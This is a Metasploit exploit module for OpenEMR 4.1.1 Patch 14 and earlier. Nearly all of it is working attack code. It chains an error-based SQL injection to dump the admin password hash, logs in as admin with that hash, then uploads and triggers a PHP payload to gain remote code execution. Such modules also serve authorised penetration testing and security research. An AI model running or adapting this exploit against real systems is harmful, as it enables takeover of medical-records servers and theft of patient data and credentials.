metasploit-framework/modules/exploits/unix/webapp/openemr_sqli_privesc_upload.rb

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##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##
require 'msf/core'
class Metasploit3 < Msf::Exploit::Remote
Rank = ExcellentRanking
include Msf::Exploit::Remote::HttpClient
include Msf::Exploit::FileDropper
def initialize(info={})
super(update_info(info,
'Name' => "OpenEMR 4.1.1 Patch 14 SQLi Privilege Escalation Remote Code Execution",
'Description' => %q{
This module exploits a vulnerability found in OpenEMR version 4.1.1 Patch 14 and lower.
When logging in as any non-admin user it's possible to retrieve the admin SHA1 password
hash from the database through SQL injection. The SQL injection vulnerability exists
in the "new_comprehensive_save.php" page.
This hash can be used to log in as the admin user. After logging in, the
"manage_site_files.php" page will be used to upload arbitrary code.
},
'License' => MSF_LICENSE,
'Author' =>
[
'xistence <xistence[at]0x90.nl>' # Discovery, Metasploit module
],
'References' =>
[
],
'Platform' => ['php'],
'Arch' => ARCH_PHP,
'Targets' =>
[
['OpenEMR', {}]
],
'Privileged' => false,
'DisclosureDate' => "Sep 16 2013",
'DefaultTarget' => 0))
register_options(
[
OptString.new('TARGETURI', [true, 'The base path to the OpenEMR installation', '/openemr']),
OptString.new('USER', [true, 'The non-admin user', '']),
OptString.new('PASS', [true, 'The non-admin password', ''])
], self.class)
end
def check
uri = target_uri.path
peer = "#{rhost}:#{rport}"
# Check version
print_status("#{peer} - Trying to detect installed version")
res = send_request_cgi({
'method' => 'GET',
'uri' => normalize_uri(uri, "interface", "login", "login.php")
})
if res and res.code == 200 and res.body =~ /v(\d+.\d+.\d+)/
version = $1
else
return Exploit::CheckCode::Unknown
end
print_status("#{peer} - Version #{version} detected")
if version < "4.1.2"
return Exploit::CheckCode::Vulnerable
else
return Exploit::CheckCode::Safe
end
end
def login(base, name, pass)
#print_status("#{peer} - Logging in as non-admin user [ #{datastore['USER']} ]")
res = send_request_cgi({
'method' => 'POST',
'uri' => normalize_uri("#{base}", "interface", "main", "main_screen.php?auth=login&site=default"),
'vars_post' => {
'authProvider' => 'Default',
'authUser' => "#{name}",
'authPass' => "#{pass}"
}
})
if res && res.code == 200
if (res.headers['Set-Cookie'] =~ /OpenEMR=([a-zA-Z0-9]+)/)
session = $1
print_status("#{rhost}:#{rport} - Login successful")
print_status("#{rhost}:#{rport} - Session cookie is [ #{session} ]")
return session
else
return fail_with(Exploit::Failure::Unknown, "Session cookie not found!")
end
else
return fail_with(Exploit::Failure::Unknown, "Login was not succesful!")
end
end
def exploit
uri = target_uri.path
peer = "#{rhost}:#{rport}"
# Password should be converted to a SHA1 hash
password = Rex::Text.sha1("#{datastore['PASS']}")
# Login as non-admin
cookie = login(uri, "#{datastore['USER']}", password)
sqlq = rand_text_alpha(8)
# Generate random string and convert to hex
sqls = rand_text_alpha(8).each_byte.map { |b| b.to_s(16) }.join
# Our SQL Error-Based Injection string - The string will return the admin password hash between the words ABCD<hash>ABCD in the response page.
sqli = "1' AND (SELECT 1 FROM(SELECT COUNT(*),CONCAT(0x#{sqls},(SELECT MID((IFNULL(CAST(password AS CHAR),0x20)),1,50) "
sqli << "FROM users WHERE username = 0x61646d696e LIMIT 0,1),0x#{sqls},FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x)a) AND '#{sqlq}'='#{sqlq}"
post_data = "form_pubpid=#{sqli}"
print_status("#{peer} - Retrieving admin password hash through SQLi")
res = send_request_cgi({
'method' => 'POST',
'data' => post_data,
'cookie' => "OpenEMR=#{cookie}",
'uri' => normalize_uri(uri, "interface", "new", "new_comprehensive_save.php")
})
# Convert search string back from hex to ascii
search = sqls.scan(/../).map { |x| x.hex.chr }.join
if res && res.code == 200
if (res.body =~ /#{search}([a-zA-Z0-9]+)#{search}/)
adminhash = $1
print_status("#{peer} - Admin password hash is [ #{adminhash} ]")
else
return fail_with(Exploit::Failure::Unknown, "Admin hash password not found!")
end
else
return fail_with(Exploit::Failure::Unknown, "Retrieving admin password failed!")
end
# Login as admin and retrieve cookie
cookie = login(uri, "admin", "#{adminhash}")
# Random filename
payload_name = rand_text_alpha(rand(10) + 5) + '.php'
post_data = Rex::MIME::Message.new
post_data.add_part("", nil, nil, "form-data; name=\"bn_save\"")
post_data.add_part(payload.encoded, "application/octet-stream", nil, "form-data; name=\"form_image\"; filename=\"#{payload_name}\"")
file = post_data.to_s
file.strip!
print_status("#{peer} - Uploading shell [ #{payload_name} ]")
res = send_request_cgi({
'method' => 'POST',
'uri' => normalize_uri(uri, "interface", "super", "manage_site_files.php"),
'ctype' => "multipart/form-data; boundary=#{post_data.bound}",
'cookie' => "OpenEMR=#{cookie}",
'data' => file
})
# If the server returns 200 and the body contains our payload name,
# we assume we uploaded the malicious file successfully
if not res or res.code != 200
return fail_with(Exploit::Failure::Unknown, "File wasn't uploaded, aborting!")
end
register_file_for_cleanup(payload_name)
print_status("#{peer} - Requesting shell [ #{uri}/sites/default/images/#{payload_name} ]")
res = send_request_cgi({
'method' => 'GET',
'uri' => normalize_uri(uri, "sites", "default", "images", "#{payload_name}")
})
# If we don't get a 200 when we request our malicious payload, we suspect
# we don't have a shell, either.
if res and res.code != 200
return fail_with(Exploit::Failure::Unknown, "Exploit failed!")
end
end
end